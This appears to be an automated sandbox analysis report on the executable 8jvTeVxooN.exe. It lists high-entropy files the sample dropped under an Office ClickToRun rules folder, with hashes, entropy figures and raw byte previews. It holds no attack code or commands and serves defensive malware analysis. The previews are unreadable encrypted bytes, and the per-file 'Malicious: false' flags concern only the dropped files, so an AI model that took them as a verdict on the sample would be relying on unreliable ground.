Preview:	<?xml...D;..a.P..D.!{..^m.,N.Rr.F...\|.p...iYu..]....c..-...F..q.!..7A..J...u.$........N........!zm.:.tw_d..7y_..T6...m).+].;...!..w.1.]...+.....;..=..A.y.0.~...S...0.X....+.U....m..3.../..+...n.,...u{.{.=&...B.....J7.D....^..wd..A-.eL.....8..N.Z+..!..[.?Rt..C..f........7....u.w.....SM.c...s...]=..m.^........DH<..=...L..K.N..U..8..u.H..=0$..R.e}n.........F.3#.....:`b.O^%.^.U/.J.'..6c.).tY....V.h$..J).!..Q...T....M..o..<..z..U.y.u......92J...d4.f...r.Q..._..:9..I.dL...'..T........=.>..1...\O15.....c............Vo7]".n......p1.-..fj^.4f~.....\|....Av..!..uJ@.}1:.S}4sp.....R........H...........:.'%o.?)..t.Z....e..&.bA.}h..X..b)6..o!@....T.H..>.).B....\......s.../5...x.....w"...b.R>+[.R.!3..'Q+....4...)........S..........~.B...z.-.w.f.;..c..%..W."W].....=.\| '....[.c.G`.F......h.......zg.fvny...$.E...@^...&..K...{m......W..)Q.Lb-.t0d....X.....J.dm.#C?...h....$u>..'.(Ds. ........=.&.V...i,T.b.J.w...~..">.i..3.r.......t...........5"`..'.=..JN#y._\|.'..g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.933374934290547
Encrypted:	false
SSDEEP:	48:NYbzJwJPdyWVhkeetE4AFfIIpkV7iPxe/RuePBAFUT1qglYUDeZjes4+/NnFjyD:NYXDsFDaVWzeW5gPiZjhNFe
MD5:	7337CF3594A8F74A70B40B00075431AC
SHA1:	2CBF98B79E80EF2D8BBB73FF55ABAE9934D471FD
SHA-256:	DE47F043B11DCAA47EFC5C6294E281B7F6F808CBA2AE9405DFB1C80A2987B197
SHA-512:	2BC34A3173DD61ED0F9766B69FA59C01D2574847D4279D2306AB3A430DA6F93E59635A456BCDB35096748FDC612D1E584A3DF9C8920FF17DF5E3281A12C3C847
Malicious:	false
Preview:	<?xml..[]..........f,.\..^.k.7c..jS........;.t.."Y.F.'}UI.P..KCs..6....rM..^......]@.I..XB..DX.uNY.VO.9..6..}...e...Q...<....g.......q../..]c....;....F..V?.....v.......n)]..\|...Q.`.."...S...#...%O"+.o.Kt....F2..U....h.U.n.N[o..}..T..5.8\|..,%.g.o.../r..z..u.?e.M..........]..@.W1.I.j.x.d....AE."9&..t.v..`QU...~.......\.k......[....aMzM..O.`;./@.8%.....Z.3\|J#>..:...M..7...`6.'....h....:m.......`@P..t.zQ..v....Q.......j- W....J$.......q.\.a.#.CV.)KU.:.I\|/.'.X0.."V.....v..i..z..A@i}.;..$..'Y..5i..^...=.61...D....<Th...\|..m.>q<..Y.....k,v/.k.Qu%.&.+1`z.u.W........@.U...".mw.I........W..pPW#..>y....1.,.er7....M..Od.&Zs>.....!.0...&....nSr.Y$nw7z...........i......`... IQs.iJ.7.\|'+.A}G..l..9...=P\|5.k.&.N.d.Nt2...IO.7.G[.....oj...J.'f.....nZ..gL..>._..p.b.[.x.N.~.......t.;.=.[+B.s(}..y.Id...E.OE .....LL..n2\..>...DmT......3hA.".@.}......a.j..Rg...+.e.....W8..[.....O.#.V..%Q@.Ga.%k.gU..L.p9...<7..-.....aw..z.>.........*...aq.&...X\|...UXju..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.8586436628684515
Encrypted:	false
SSDEEP:	48:OxXgHCrTShAl4trBKMSehZbVx14/5+XzD:OxXgCrmhi4xBKM9Zx74/I
MD5:	34AAC72DED6A6F42A88B4BEB1D420AA1
SHA1:	3CF3D2456754299C70FEC58AB4710D677D2F8EF8
SHA-256:	FAE24C6693AC2669FFDE4C53B4912656A5E8356E16B7F7EE13BFB3E73B0163E6
SHA-512:	1B1E305D176EF7EE612D1A45E32EB6C9B65EB886E5C9C5109207E7F0533B9F6BF1CD7B53D88E767BF568FDCA77A29983ACDE4DA1FC3A7AC1E8D78C9FAC2628F3
Malicious:	false
Preview:	<?xml......N\......"p_!.s.@6t.k..T84}=3..1.f.......4eL../.j...l.H..LS..wY....g..X....9....R....`.;...!.7.."+...8.q4.Y..!.rbu.k.s...........V.G.H...3M3..%bk^.........I...q.{...FI.FB......1P.K&...i{.;/B..s...a.>.......Q.h...<t.....'A..LL.Ct.e...0F...f..?.^_6.......&\|...93^..}../...;.I%g..{.)^`f.i.c..+.Y.h.E8L......?v.\...VA....9K.V8.;0]...jo...\|..l.o&[;.....\4.^V.....q............_..;..f.2t.9..e.5.Sq..\|.....8........c...:..P..xX.zT.ul..9...LV....P,6M.P...tK.$.Z....(...JV].K.$..z..Q.F.8.m.............^..l.=..Oavi.O......fu..d..^7='q.NCy..u../...b..H-.nJ..2.h...P.T.....0..uj.}...R.k...:...@...>.89....2(/..9.:...,kT7iTx5O.A..%Yd.=.....@&..K..~....2b.j.}V...s....E.Q..TZ6.{...P.....4(5.../.M..!..g.ok!....Y...mb.s?\......WX.r..u...h!fI..".9.....^qy^...P.ON..D..O0.#..q...iX...t.......x.,..F..D.M..7.&b7.p...G.ga.....2.g!}^...U.l./...j...)........5._.S..-.[......[M.-....(}P.in..:8;...c........P.....d.....r,J..U.q....\.M_......R.^...o"....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.895463053611708
Encrypted:	false
SSDEEP:	48:+6s8Vn4Fr8tTMdLLqW+63JQXZOmHv8cXqXcAY9inTuQ58D:94F82Lqp63JQMmE0Y4
MD5:	921F5AA6B6248A6B099DBEDB042E8BB6
SHA1:	F3973E1D54067BF93F32F31DBCA69400ED07CB7D
SHA-256:	2879614F6191B63F0869B3BDD06A422471E0E834105A0167119522270B894C49
SHA-512:	2B02E41D7C2FB1BC36B44706A20B4E7AD07E4396494590DEAA1BAD0FA7323CF1DE59B01350E12F96173F5D20DE93A5C053328C5BEDFA77052828FA040ADB77A9
Malicious:	false
Preview:	<?xmlb..P.N..4}%a.eb.(..&.%.z..4->...\|.S.....W..R......T,..[...tI..L.%....=..xu.X.bmE.._.yy....P...o}'?..ru...qE.0..u....?H..+T.}L.....8..[..VW..iL.x....;.h..~.>/.\.Z...>....p..[ .".'.p........F.<.1...f...t"t.1.H'.[..Q.G..Om........./B[pFs.P..\|.S{.g;.........q[.M.l..K....{._.~.Z\:....a....iN........X..z...:bM....WJk.w=l..$.....e..,.9\/.J...r.x.Z.!N........{=.>..G..C.a`dfsD..x%9.......d2....a...T.v...j..}6..>.?......Q.J..9.7...F2]...7....d.#.M.....r.3.....4[...}.y......O.2.kw........D.}h..._TY....2.>..Rt....Yv.\|.&..5..2=.....<...#........^.....x.......>..mt.....4l..z.\|..?..6.F.....Q..wl...p.J'4(...........y....0.PA.E.b.f.g.)@'.t......b5.i..3M..j~...... .c.a>.d?q.#...U..F..8..J4-s5.l.X..c...\.....8J\....v.^.:..K..@>...gsNb.gW......F..n..U.@..Lx..1._...gl..r....nG.o..n+..9.RT..mSL....0)..l...s.X..T.....<..6.s.>z.i.8..-..r\|x.....Ph[IK..E8...a...VS>.....[..R.s.No.y."p=.D.p...$-.....j.<#EG.IV.....[g<,..v.V.I.QD.Q.y.......$.......LNdV.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.740368708425322
Encrypted:	false
SSDEEP:	24:IGwW7gNxiKQGtH2BPn4OLoLS1iJ23pzHNPnb+d2APOfGmrfr1ObD:IG17SiaH25bL4S1iJ23pzHNv2fifr6D
MD5:	A8F5AD2B6A59052D4B536B396475ACA3
SHA1:	E9C50F6C91C6DD8E6A99CB8DCD7A8EA175817373
SHA-256:	23C8EDEB75CD8B698B917159EFD82980D1C452C87F9C8B6AEF4249B889179F29
SHA-512:	2FD9DF75F3A5A92BEADC06F918658333D68CD3EFB5E9450DC5A65C23FB074B1295269C48C80C0A2A9CE9469699044F1F924EA1C09BB18C3DCA1A6F9CB275BFA3
Malicious:	false
Preview:	<?xmlo.....J....(..Wi....&..n,.e.$.U....C...Y....}[.iF.#.n+....gr..EGRA......[..j.~E6..e.........l..8.6..H.#..^F(].bO.Y........_4+....c~...".h00H....h.g..y\|0I..2)^..fuX..........K"J.r...Ja%.....I:..}.....{.{ha.......U.@j6..$...."..7&....e\.3V..N.aV...J...l..\.J...a.M`.5..^qm..;.p}.K"../......9..Q.....JA.U.%......7.\FL..H.].!:..n8....OD...gf.'...`..$._..4.....9.....y!.!...I. ..1...............T.Q.....;.q/....iW.$.@...cC...cQVYg..)r.i...m..d..6....>f......r.Rwqj..o...i.:.........D....^.....R..G..a..>..z..Q.WoEm].zy....JBxFPW.......iNG..&;.<. ...-<.9..v&\E.{.J...K2......&..[.......E:.v8..Ah.s...T....Zb.`....,4.E...;._....9....P@H..5y1tq........./..v../..B..3t.....%:....ccyYO.\|.6..d...g.uZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.895623954455958
Encrypted:	false
SSDEEP:	48:e67YXm4CVzfDHpDyJrlDL/Klc3csQ/9WANZ5ZYD:e6024CSB753csQ3TE
MD5:	7A9B79D674468C8FE2E11EC4EDCBF3BC
SHA1:	F5DD96984C4DAAE33C7CE496FBB94902A66D95B4
SHA-256:	2C4EB57F15F55A97113E0C7111AB32C23CBF5606C37AA36BC37F92B7165DC6CD
SHA-512:	55F3A0ED07C029E9E7387F9EC69F40381C79384D75F754A86B492DA1937CD4E9C0F66E54114FD3B55D8352677BE305F4A82E12F009DF96CD71C5B68F956E076A
Malicious:	false
Preview:	<?xml.@..Cx..;..-h....l.......M.N..D.e;.6ip.[..^"....f.P.Tq.u.......}.......p..1#.o.;.2..M.T...V.@.ps....0.{f...tr-.{...O..~YL......S....}...uZ..Yx....R......h.{.7.7.1g{...e@.....a..._..DV..5..VA.<..$.r..{\|..\N...........p.....V...#.../...'..<.erC%..E5...1^pq@k.I\|...+........Z.p-Q6.QqJ....."vu....Zg.f.v.-.=..:....M.g..3....^/...n...z0.....0_.......u.c..3BW1~.8l....U..b.......F.:f....5l.....".x...Jl$;J<.w..,1..xo.s..V...ls.....9..8.T......k...,J....Y......c.........t..+.H.c.....T!.L..j.u../..u........A5..+....W.:....& ......\|.zb.(..1.E.......#..[.<..;07....C.OJ.`.2..*Mhu[..<3..q.S./%...os8da@...$...~..Cg..aW...`m^..j\#.J..#..p.#L..V...:..{.$..x...D.u..-...>.vz.&...x..\|..Y..{.C......[.8..To...M..~7.`.(e....j..Z...O...<<6.~..<......:T:da..(g.....k.#P....pw...5.;V....yI......0FMe_.~.p9z....W3.N......):....}.%............8.m...u.]...q:Z.af..F...\....t.......Vk"...............\B......&4.T&..EPE.."}..F1..D..+."9.S.Y............m....A<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.732774192197843
Encrypted:	false
SSDEEP:	24:h5pT5zxb4Pj1jUd6Wqf3umLkMsXZa7hln/PUJb9ObD:t5zMBjUs5+J0h/sJbiD
MD5:	BDA99291B1631F91D8C82923F3BB7A62
SHA1:	B2B943536E398750B579E76746AA7530D17BCBB3
SHA-256:	EECEBBD13666F4D0806B45976E5191D6FCCF93063D00D5344DAEDE2804D4108D
SHA-512:	231101990ABB95A67EC7630A06065D369087B01710FEAB44F86431331ADBEC932E426CBC966AE6FE523CA374C69E5BD3C3C7581019B18AAC0D2642EA18FA5A43
Malicious:	false
Preview:	<?xml#.v...B..vF.Ch.w..........5.&a......[......_.....<....Z...7.)...1h1`..'..X\|.v..&?}.$......Zd..$....9.7.....+.G.f1A.%...8.tct...}.S7r..-tzI.../.n.Q...J.^....\|.j...T..&....bK...r&..g..s..}..Q7..o..y..q=.....v..Yy.BM.r.G.%....S<..O1>M\.12......CDB.9!%2_7:..X..V..#.5$4FG..y....U.eN.....HW..xi....od......._J.Y..+.r.P.]?.....^..y.......h9.[3-{S.. .;..h.%tR....Qa...^....;.8..q"..tR...&/S.....eP./....U.......q6..x....x...d}.m.j.....v...78O..0..(b......r2....w.F. ..a...&+8..K.B...P.K..H........'......J....\|..C`...:.z.K..Ur....e...[.&.O..L/z.....mZj..2.......t..!....$...d.6..&.?%..=.P.......{D@......Bv3J;..}l.[7.e.....?.....S......."!Pw..`.;..!. ..=...fR.R.1K..IXrK.."Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.933218771007635
Encrypted:	false
SSDEEP:	48:Nq/3EWp9yjQukdug/GL8wr4pTiButzz7eCeUhYcdF1xQjNCTW9B5j/GM9VRcBiym:k3EWWkYaIdkpTiSDzfJ1u5CTeBf9cBiX
MD5:	1232C62361744F014CA9A6EA07173AC0
SHA1:	26E595765F5247E7766D282D8F91143B6F74C85A
SHA-256:	80FD29E7DB1C795D1ADE3D5BF56579632671D3343E6D664254F8B12AC855E218
SHA-512:	61A13A40105EDDD441D3DC8F0707D3402FB4DCC225626337B1DBB9DCC59F444F6F24233EE35B25BB53609FC0AED32B5832D53276AD3AFD95D2FA39AEFDCF3BD0
Malicious:	false
Preview:	<?xml...=..]j.9?H..b.N.......uH.....p-.d..6.....8Y...f.u..F>4..SYV.ne........=..B.n\..ao..Z{.".../R.X.P......2.DUQ...../......m..w...670.....IG.....q..M.%Q..:....8C..'. .p.BnG.k.>.T.h...R..P.83...Y.\.-o..Zoe)iP.icf.{s.....(..\|.i....%]E.f..]...dJ7n..w.3....ym]....j..^U..c. ..N.q.....X.\|J.I.W......I.w\...7....A...aV...IF.`.?..CQ.T.........t.Nu..#{....8VT....Oj0...P...U-..c..Qq.......Llr..u@j$..P......RQ..H..m.e.....\|.rK<.......m...f...........z......{........"...$...\|..t.aQ.....2....9..p.......\|..../]P....Y._p.A.....(v..."...U........;N.v...7...P...6....d1.M.........X.J....)..&..@.t...FX.f...<].n.E......?.....r.W^....n..BK.H..rY.B.hm..^b.y...e.T..0K.........F..=A(...L...J...k.,\|.p.w.<..l.....HqmR.v.....6./+......oOh../.....U.;.zm.c..{g\|#...:..zCo..asC..'.....O........8)....p...b........y.k 0.R.......^Y8;..^.I...;>.V......_......My..2Q.1'K....J....i1.\|..r.j.%m..4..1>.mE.16...`......=n..[...]...#.x..".T1.N.w$..x...OZ...........b..).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.925656181514353
Encrypted:	false
SSDEEP:	48:vTSpx1HTHO45E7ltGIDbiryMwi/Dom4VJLX4fOi/4Zji4NXzn9Y6J5UI5eRezk3u:Sx1r5ELLDOryMwirT4VJLX4JojLYoyFG
MD5:	67CBD5F2967C0A379AFDA4DC87CE1B31
SHA1:	7E3EBF7BDE3BC113447C7F3ED82C22C6BAE7D673
SHA-256:	758E03244EB2EE6AA0A3FB2B52D9B2EFC92C70B9D694B50E332E633A8BB9E179
SHA-512:	C843A4B6D2D25DE597A589DCA56B08DF889B5258B0A70FB78CA1E4B9DEF6FD019B1B16C84C58A62B6A96AB6EB34E5C388F0ABEE2F0E6AE8EA20239585E6C4BB2
Malicious:	false
Preview:	<?xml...[...>.Rz...:9.;].N..eb....#.W".0?.\f...dpk..{.9.....ws.....j...J..s1>...^.<QCy.A.n.Q....v.lvaQ..........a.....U...}.X.Iu.z.Y.5..._.I0A.n..C..II.......R..w.#5..tj+.Yv......)W...-.>4.GP.].C.R..im.,.._......?w........=..!.{.. )...69..V.....X. mt......S...%..J..h.4.,...Q.\|.},......p.b...~....5..;}.UH.gS...vDJ......B1.@.L.\|.\|Sr.[.V.g$..-4........x3...F..-.... ..q....)u.\|.MLH.0..8B/H.}../`..CH.9...^..f$W...&.In.._.....$.)0^x......p<.....F...{..d.0J..Xj....s.T....]......!...\|..i..[{./..r,.......?.[2..G.>....}....,...{VqI.)q.....b.`ug.E.......#....\..W"..Wq.j301M.9.b..32+2!~...`...x.>.+........3#u'...w... .h..3tiw... &.8.g!.x.(p/...'\..-.N..]...A;.W7.o.....f.....DD!l..5.i.z....BR0s.._.O..........q'h......H......@....r1....L....;]o....^.....x.....CF..2u.P..........W.7...@...............w..*"...j.b..j.^.B.. ..M6.8....1.....t..!..I.2[...?L....2."...&...e+.?zk...T..`...s?U'..G^H/</.a.f9..A.6.!..q..`O......H..,+.A.......g....V.4../z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.962361900634426
Encrypted:	false
SSDEEP:	96:Y9g0BWtwL81KhnJ/SKakAtv+wckwQVmlahLQT/Uw4kZA/n+:Y6EvLgKhntSKO2wPwQkkLss5x2
MD5:	1060998DC1676AEFA2115E9F6BFA2A4A
SHA1:	37872AEF0340B533A153BF325B95A114C699A53B
SHA-256:	AFF73871DCE07063FA943CA9751AFCD5D8AEBC6C4DBB6D8CFF4A5D37870A041C
SHA-512:	272CD08F863FF3FC3715E0399D4C5F7F94E58C0776C39681CC8C21BCA07AFF3183629C94624A5431813FAA795E76E7708014FA3FAD185103E1501344C471F6B6
Malicious:	false
Preview:	<?xmlqK..6V...\..Q.....28.X.......S...E}M...F..A+...Q..h7.P.U..T.EcM.?...^.V-.(..L..Z....P..t!.8BM8.RIbdo...DYG.G..4i}7.#..3..N.....t.O..E....D...}..WFN..^O...l./.......i..w/....O....w..N!`.x....#.....o.... ......),.)..-....k...K..O..!+7......\_o..K}R.v.%...n......5YI.fv..o...{.WR..6..-.(y...Sg....O..L.._....T....u....7Y.....-"........I,..4.RL?..n.+.R....~............Z.Ns....iYh}..k6.,3...~Ts.).'........IL.....l....u..P\|.....T]T..1.>9:?P5...6..G_..>5....i.4jE....]......'a.v?H...Q}r..1[s$.../..s..xW).......Y.sw.L...P.40m$S.C.<X&\.4.os+.r.&T...y.M.d..)t~..K.,8.&..&N.\|.T;..>B.p.7$.;.9.v.....v=...r.E%.@h).;.,...jz...J(B&K.....uH?.P..j..2...zV..g.a.."...d.......(..9...wd...hTC[j6..Wh..C.Gwo....2..h......{..?.^...y.eu..,QZ.v...#...CmI.O....z>.@sJ.\|.;....0..a.I.....U.../.+....../..../.......pu..n.VO..U....$7....x...6...0..u..$..Y....."M.5..K.."O.q..)+.2)..../."]....n..$.G.F.Iu5..Kc....` .....EA@.3...mG....&%.tC.Y.W.T..".s.9`......P\|.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.856372872725939
Encrypted:	false
SSDEEP:	24:sUD+iD54nO99M+g+Ap/tmnTJxrPhHgkiQoQZwAoiNeg9EO+UWflwBBIObD:sUD+iD39WNtqTJ0/RQ2AoiNeLXf8B7D
MD5:	B066A80B75A893D1D03A972ECC5638DD
SHA1:	D85543ED382E711D8F5551C797C3745EC1E0A750
SHA-256:	F7EEA45CE3ACEE9E6EF17B19D79D8E2262190D295329D4D85FA45F23BCF669A9
SHA-512:	3DAAFBBFD5A6E20391731F8AE120A854CCF18B05DF59AB150D64C3858A976FC4B3F6E95F04F0D973847D603AE7268433860E3F066AEC912A87A545A898A46B9A
Malicious:	false
Preview:	<?xml.....ry9.G.e..^.6+..2.........Kv4k....WX\.f..x.5=......].a.......A..N.rJ"..xybS....H..o=T.....1.u.....X#7./.T...kNj.6{m...\|...C..d..K.(=.....5.4.W..ov..z(.....I.W-{_DC.uf...&....nK.2{T......j..Q.1p....o..N@fS.2.(!I.:........u5..5...........9..:.....?..Y ...8...D]X.. .qs.......;...l..7[uM....f.zN...4...;.f...u.;]..}z..h.>[.G.6.e[>R....NAB...H,B.r.r.U. )..e.m..k..^...A.4$...sJ......4...."~.h....3.0..6...#. .,E.....O#.kO+2w..r..d.$..Yx...8._.........w.O..J...x.........l...$.G.Ln.2.A.6.3....{..z.r.;..'.b/l.n.....f;2.m..c.y.A<...r..{.6.b.e...U.Y....)J..._. ./A..z.E.....{!.^.....E...^y.@.41E.y.{...e3kj.#..[.~FH>.=.%]...}..NXtx.Z...OE.Q<;.E....W.$d..yI.T.."7~%..._O....{..._.#9.\.O.%.^Q..a....+.....j.....'F~..........o..%..e..G...l..!....}t.....8.(.q!....K.]........8.Z(....Y........M.+.F..V.aa..)f>.u.\..3.............X=].]...S........F.[U.?o~YL.U..;AH.W.t1Z.....5~?.......ttSM.9...N..}..O..F..bk.i..c..Q..$...K..&...\|.2..U.{k..........~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.859356993704908
Encrypted:	false
SSDEEP:	24:sq8Vzg9sBnyGbTKrNCZ3R9rFS8yg3Wc6npMspVm/27fJuEzRdP01CpBYbYNg+bKI:8tg9YLKrAh9E8ygmRnpnpVy+xRdxfbD
MD5:	96850523479A0561203737B12C78B966
SHA1:	E2AAE9F817CE55C2BA8AE537BBF512CC42D6ABD9
SHA-256:	C6366073739EBBDAB2D0C73056C76C12B62E6A24A34A42CF942B17EE35A0F841
SHA-512:	1AB46FD6C2F394AC15B1A0B8833C657F2513EDB806DE229B2291940A0EDC309BAEA8955C3D3AFF70C0B79BD9F2CAC636065518DCDA0B12F960DDE9F40C48FB82
Malicious:	false
Preview:	<?xml../:.,..MO$Y....QGp".Y....>3.......h.z..l..td.o..$..KRN5(.+.C4([.(XF._.f.a..k.=}.`'..R............]2ii..)/{........l.2y\.G.l.0......Z....,}..c..:ln4...0...v.b,..:i.BoQr.Q.e..2..&.....D..a.c.7eH...K.....2.G.m....~.R....".(......3Y.L....!..t.7....u.....G....4Y.-l$.?.[..i..x[y.~..x..xi.6..U..Yk G)...1...:.S.3.z..6..r.X.%=_..xR.7..N3i.F.Gc.3...a..XC....U.k.Z@:[-....d..Q...'...+8.3..wu..Bw`..............@.:.A]t,..1..^.F.Qq......u..>.X.v./.t...w...8.&~.....ME.`@O..86&..AU./T.....P.?.kt....'...j.Y...6[......A...\|.cA.~.gbz.................#.'..G.\......H.g...,.>.~u9.m.9......0'I..b..E;D.)x.(.8p}......:.7.;.Lv....G..."...w..S..B.E.7r.9...)...D.R...sd...X.....>.<..7Y.X!@....+.P..,......J#\|.t..k..W.....dTE...y.xh..].pi...HP.{%e+.....M....&......e.p....4.s....\|.m.k7..yQC.[#.:.F..M...?W....L..P.$.:..6iIo?F..G..R.c.Q5@L.]..b..b4~..vk..<..Un..X.....v...~.E..qU.Q...<`I.........]..h...............?....y6......$....s5.b.FH ..\|.(fu..*.}...:.(..jc.Y~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.81718071807821
Encrypted:	false
SSDEEP:	24:MqWCCcjh+hBY4V2lHsKHVRP3WsJSYj4x4OLX8PznsgSlObD:Mqrh+IO22K113dNeX87zPD
MD5:	35B9B2DA528EBF0331EE09820A62BB3A
SHA1:	C2964CFB9161BE647A6D8FCF9B9ED62D5FE94FC8
SHA-256:	3526415C3E887C22BAA7B39988E349CB87BDCDE727885559E4BE3C603B31D070
SHA-512:	E5600E93890184F7EB5150DED8D3F4FFA4CE206FD2D528145811A470176F86671C39C12DD93E1900CFDCAEE6CB5C345F9740E993CC60722AD8AA0BB0B20E3AFB
Malicious:	false
Preview:	<?xmlD..g.I..Q.U.H..)......>.q.a.XYmH..,.n.W.h.B.i.M..Y.........p...l.M.f.4.ZAB.....(M..u8.+..E..Qi..y^.....M1F.(..."..S.[.j........ED=.....t..M..Hd[. .f?...FJ..?r.\|-.K&..,.ao.W.....?.SK2V..EH...=..F<..Jx..r;.9v...D].r..T..~..#3>.Yz..Po.&.LTq=.m.q.Y;J...3/...B.(...\..'....F..U<.Wka...@5..8h..vr..>..%..<..p........\...H(.Of..q....../MZ..f...X.[.E...t..C!q..".>.A.~^...n......]..$K.#.4^.X....]<.H.'..5...u#..7.o.U..@.. ....Z..7.....l....1.D...,...d\|...U.Fy....@.xc90...m..-.:.d....\|...I...k..W...u...x.U.t`..$E.\._.Jk..t$......B.Lun.Tf....UE.....,.d+Ep.[.X.r.>O....p.j.).......).\|y..n....T.E8...\|p...~.]. ......N.n\....4P'9....tEg.....X..}.Y.6..........T..l.L.w0..%......>.$.sF...U.....U4.. .Xj,..W.}.......T......Q...(..h<...h.91..'.. }.+..U...CP......LJs.Y.$.............!.ZN.{N.jB.<O?uX.>.;...T...,....^..).<..c.Rb.#f...+..\B.}iEp0y..P.xM....9m...c..._v.....v./.^.......uf....J[M.:X.nF...7.1N... -.n\|I..=....1......d.{...>.y..D.F.B .9$...\|[...b....3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.978489930714627
Encrypted:	false
SSDEEP:	192:bwmaRDPHLLDecfIYJHvvzBMo6eD0vRjnTZ775ik7v4vR/5bebH:bw5DjLgYJHvvzBMo6eCrTVIS4thebH
MD5:	F4705F21A0C4756EC2B0754BDEF59CC0
SHA1:	7CEBEF50F2667732F49DCE9A69A9D42C80F2D6EA
SHA-256:	73A4B524093FD377EE550CA61BA6E42314132429369CB23C15C4A443D8C4D4FF
SHA-512:	B3B066DDF21F130D27A96D30EB850E9CB2D58C9724D960F2C317C437452CC2DC5DB38D097F1B91268A2A25F5FAA5BA5B3A61B56ECBC0D22BED4B0AC008F35D25
Malicious:	false
Preview:	<?xmlW...Cb..Ab2..C.4{{rjd>...?)..Q...0....k9?.fO&..m...........'V...\|..&...@.Wwn..D.YR.....TT.....6....De.IN...)...O..G..V...V6KY.4%]b..1.}...]......FL..f..."..O..1.gN..........M.....M.A^...h~...O.J...N.`}..K.5H.....^..mm..pp.B.M.d.f.I.{9.......6n..\|...^g!..uo...I>..X-..y=;.F.:.VV?...a.;..`N.%......T.4..0F.."hu~0..>....;os.9.c.L..&.O.rj .....9nM._YTF:eN$...Q.sb...P.@\Ac.g}.7-S..l(.&...~.l.z....^. .F.....9..r...R...O.Y...2r...Kt. .I. ..q>.<...}$.n.......%.....7\..`0C.....7.......K.!..,f0m.x.(0z...^.R.3...8.'.U.7C.i.N@..].h\|....iP.,.n.].....+.....t_.B....;&cV../QC7.....!R......6.le.........s......~:.B..HIX.8.rNT-6....j`.H\|.....tK.......,;..?..Qhb......(......\|.7..M..$......w..?;T...3..N....K.cm}.et`h........yk.?`.b....I......P..Z.@-}0..!.PGw..... ..z...,...i\.*....J6G^y2Z<.\..Q.[~uA..z5(....... <$..w.N=.E...'..g..+.>]..zs......^.lL...'.v.n..\.ui#f.O...%8.{..!.\|".@..R....!?...!.C.....(..],\.[J..!.j..w1...J4).P..y..`5..L7.ne@..q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.9697861615268115
Encrypted:	false
SSDEEP:	96:Mk/1QLymG784hjV4BKAx9gHus5lqn6yACMXOc6caUkP0rPQGW2eyvle8Wx1SmH:39QLg784VVdAbUus5Mn7AdO1cah6PQGM
MD5:	8C88920B00A086564CB55B9C796FE387
SHA1:	00B82E0EFBE056B60D21A1D3E70595F53859EC85
SHA-256:	B7B8AAF4FEC74044630B3EED41AEB540706A6FAE648E9A4C804A9EBA4349C367
SHA-512:	FE371BF26AC2CF4ED09A012A1849060C625F4A1C819AFD62971356A8134A7DFDC4BFB953D8992620C2162C0B04BC04940D0E911BC1F773A49698A0BD857832F4
Malicious:	false
